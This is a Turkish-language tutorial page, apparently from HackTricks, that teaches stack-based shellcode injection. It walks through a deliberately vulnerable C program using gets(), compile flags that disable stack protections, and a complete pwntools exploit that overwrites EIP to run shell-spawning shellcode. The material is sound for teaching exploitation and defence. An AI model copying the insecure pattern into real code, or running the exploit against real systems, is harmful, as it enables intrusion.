Stack Shellcode

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Temel Bilgiler

Stack shellcode, bir saldırganın savunmasız bir programın yığınında shellcode yazdığı ve ardından Instruction Pointer (IP) veya Extended Instruction Pointer (EIP)'yi bu shellcode'un konumuna işaret edecek şekilde değiştirdiği binary exploitation'da kullanılan bir tekniktir. Bu, yetkisiz erişim sağlamak veya hedef sistemde rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte sürecin bir dökümü, basit bir C örneği ve buna karşılık gelen bir istismar yazmanın nasıl olabileceği ile birlikte pwntools kullanarak.

C Örneği: Savunmasız Bir Program

Savunmasız bir C programının basit bir örneği ile başlayalım:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Bu program, gets() fonksiyonunun kullanımı nedeniyle bir buffer overflow'a karşı savunmasızdır.

Derleme

Bu programı çeşitli korumaları devre dışı bırakarak (savunmasız bir ortam simüle etmek için) derlemek için aşağıdaki komutu kullanabilirsiniz:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Yığın korumasını devre dışı bırakır.

  • -z execstack: Yığını çalıştırılabilir hale getirir, bu da yığında saklanan shellcode'un çalıştırılması için gereklidir.

  • -no-pie: Konumdan bağımsız çalıştırılabilir dosyayı devre dışı bırakır, bu da shellcode'un nerede bulunacağını tahmin etmeyi kolaylaştırır.

  • -m32: Programı 32-bit çalıştırılabilir olarak derler, genellikle istismar geliştirmede basitlik için kullanılır.

Python Exploit using Pwntools

İşte pwntools kullanarak Python'da bir ret2shellcode saldırısı gerçekleştirmek için bir exploit yazmanın yolu:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Bu script, bir NOP kaydırma, shellcode ve ardından EIP'yi NOP kaydırmaya işaret eden adresle geçersiz kılmayı içeren bir yük oluşturur, böylece shellcode'un çalıştırılmasını sağlar.

NOP kaydırma (asm('nop')), yürütmenin tam adrese bakılmaksızın shellcode'umuza "kaymasını" sağlama şansını artırmak için kullanılır. p32() argümanını, tamponunuzun başlangıç adresine NOP kaydırmaya inmek için bir offset ekleyerek ayarlayın.

Koruma Önlemleri

  • ASLR devre dışı bırakılmalıdır ki adres, yürütmeler arasında güvenilir olsun veya fonksiyonun saklanacağı adres her zaman aynı olmayacak ve kazanma fonksiyonunun nerede yüklü olduğunu anlamak için bir leak'e ihtiyacınız olacak.

  • Stack Canaries da devre dışı bırakılmalıdır yoksa tehlikeye atılmış EIP dönüş adresi asla takip edilmeyecektir.

  • NX stack koruması, bu bölge yürütülebilir olmadığından shellcode'un stack içinde çalıştırılmasını engelleyecektir.

Diğer Örnekler & Referanslar

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Last updated